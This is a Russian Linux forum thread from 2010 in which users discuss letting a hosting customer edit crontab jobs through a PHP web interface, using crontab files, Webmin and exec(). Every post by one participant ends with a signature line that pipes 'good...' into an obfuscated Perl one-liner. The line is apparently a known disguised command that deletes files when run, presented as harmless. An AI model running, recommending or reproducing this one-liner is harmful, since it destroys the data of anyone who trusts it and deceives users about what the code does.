Ivanovo Linux Users Group -  
Форум Помощь Поиск Вход
Предыдущая Следующая Вверх Тема Программирование / Прикладное / php crontab -e (20843 хитов)
- Написал(а) hawk Дата 27.02.10 10:07 Отредактировано 27.02.10 10:12
Не когда не задумывался, в тут понадобилась системка, вобщем суть.
Хостинг в папке www, в ней mkdir crontab, права на папку юзера работающего с хостингом,
заносим в файло набор правил для исполнения php скриптов, следующего вида (кому интересно)
*/5 * * * * /usr/local/bin/wget -o /dev/null -q http://host.ru/test.php

Выполняем
# crontab -u user /usr/local/www/crontab/crontab
чтобы поместить задания в /var/spool/cron общий, теперь смотрим задания от юзера уже
# crontab -u user -l
если работает под рутом, если в ssh заходим от юзера то просто
crontab -l
Теперь ближе к делу, напрямик файл /usr/local/www/crontab/crontab редактировать нельзя, надо через
# crontab -u user -e
Вобщем вопрос в том, юзеру доступ по ssh не нужен, надо делать все через веб морду, кто нибудь делал формочку на php с содержанием пользовательского кронтаба и с возможностью добавления заданий, т.е. выполнения crontab  -e в конечном счете.
Есть еще конечно метод, использовать скрипт на пыхпе для реализации функций шедулера, но интерес именно в веб морде, вобщем на подобие такой http://cronjob.ru/ только поле на редактирование со всеми заданиями пользовательского крон файла.

п.с. выше написанное выполнялось на FreeBSD, поэтому и пути такие, команды в целом те же.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Parent Написал(а) hawk Дата 27.02.10 10:33
С использованием exec надо глянуть, в общем сделаю отпишу тут кончено, если есть дельные советы буду рад выслушать.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Parent - Написал(а) LOE (Site/forum admin) Дата 27.02.10 13:21 Отредактировано 27.02.10 13:26
Сделать форму, в которой в удобном виде задавать параметры задания(ий).
После передачи на сервер, данные парсятся и передаются в crontab:
SYNOPSIS
       crontab file [-u user] - replace crontab from file
       crontab - [-u user] - replace crontab from stdin
через промежуточный файл или stdin.
Предусмотреть какое-то промежуточное хранилище, чтобы ранее введенные задания не затирать одним, только что полученным через форму.
Т.е. вызывать crontab -e напрямую не надо, а каждый раз формировать задания в нужном виде полностью.
Можно после парсинга сначала вызвать crontab -l чтобы узнать текущие задания, добавить строку с новым и перепрописать.
Удаление - вызвать crontab -l удалить ненужное и опять скормить.
"No! Try not! Do. Or do not. There is no try." -- Yoda
Parent - Написал(а) hawk Дата 27.02.10 15:17
Да, я думал о таком механизме. Еще мысля посетила, а что если пользовательский файл редактировать в простой форме с соблюдением синтаксиса кронтаба, дальше уже основным рутовым кроном выполнять команду crontab file [-u user]  с периодичностью в одну минуту, единственное не знаю, как при этом будет отрабатываться время в пользовательском кронтабе, если его пересоздавать каждую минуту, наверное фигня получится, надо пробовать.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Parent - Написал(а) LOE (Site/forum admin) Дата 27.02.10 18:51
Зачем каждую минуту?!

Заставлять пользователя редактировать в синтаксисе кронтаба - плохая идея. Надо предоставить простой механизм создания заданий, а уж синтаксис должен создать скрипт.

Далее - а от какого пользователя должен кронтаб выполняться? Просто от пользователя системы? Или у таких пользователей работают их сайты?
В последнем случае надо задействовать suexec в апаче, чтобы каждый сайт работал от своего пользователя. Тогда и кронтабы будут у каждого свои.

Чтобы облегчить внедрение правил в сам кронтаб, можно так (делал на некой другой задачке):
через форму задаются параметры. скрипт создает файлик с нужным синтаксисом, в котором (файле) учитываются изменения (что нужно удаляется, что нужно добавляется). файлик создается в определенном месте.
по крону (;-)) от рута проверяется наличие такого файла(-ов) и если есть - содержимое внедряется в крон соответствующего пользователя (опционально - еще раз проверив синтаксис). файл удаляется.

Будет некоторая задержка, но не думаю что это настолько критично.

И подумай еще над такой штукой как at - выполнение заданий в нужное время.
Иногда лучше чем крон. Тем более, можно его зациклить - натравливать еще раз сам на себя из скрипта.
Правда, в отличии от крона, при перезагрузках надо озаботиться о проверках пропущенных запусков.
"No! Try not! Do. Or do not. There is no try." -- Yoda
Parent - Написал(а) hawk Дата 02.03.10 12:39
В общем вспомнил про Webmin, который в прочим давно работает на данном сервере, создал юзера имеющего всего одно разрешение Scheduled Cron  Jobs. После входа собственно в меню один единственный этот пункт, где можно включать - выключать задания, добавлять и т.д. Из минусов юзер видит задания root и может ими управлять, но в моём случае это приемлемо, т.к. доступ даден нужному человеку, вероятность что то испортить умышленно - не умышленно минимальна.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Parent - Написал(а) LOE (Site/forum admin) Дата 02.03.10 14:26
Не интересно ;-)
пользовательские скрипты должны работать от пользователя
Но, дело хозяйское :-)
"No! Try not! Do. Or do not. There is no try." -- Yoda
Parent - Написал(а) hawk Дата 02.03.10 16:31 Отредактировано 02.03.10 16:42
Как временная мера :-). Сегодня надо было что-то сделать срочно. Вообще так подумав ВЕБ проект должен работать как единое целое, без перекладывания части функционировала стороннему сервису :-), а если речь не о хостере - то напрягая человека, которому собственно побоку. Т.е. я о том, что функции cron можно реализоваться php.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Parent Написал(а) LOE (Site/forum admin) Дата 03.03.10 00:46
Все можно ;-)
Например, на этом форуме первый запрос в начале суток (т.е. первый после 00:00) запускает отработку обслуживающих скриптов.
Но здесь есть засада: время исполнения скриптов апачем ограничено. И придется или расчитывать на то, что выполнение будет недолгим, или делать грамотный форк скриптов, чтобы отделиться от управляющего процесса апача.
"No! Try not! Do. Or do not. There is no try." -- Yoda
Parent Написал(а) hawk Дата 04.03.10 07:44
Всё, сделана системка :-), со стороны пользователя веб интерфейс с авторизацией и парочку полей что куда и время от 5 до 50 мин с шагом 5. Ставит цифирку 10, тык - задание помещается в файл кронтаб хостинга, из сценария выполняется
exec("crontab /www/crontab/_crontab");
для помещения в спул от пользователя www переодичность 10 мин. Все предельно просто для пользователя :-).
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Предыдущая Следующая Вверх Тема Программирование / Прикладное / php crontab -e (20843 хитов)

Powered by mwForum 2.12.0 © 1999-2007 Markus Wichitill

Page created in 0.082s with 11 database queries.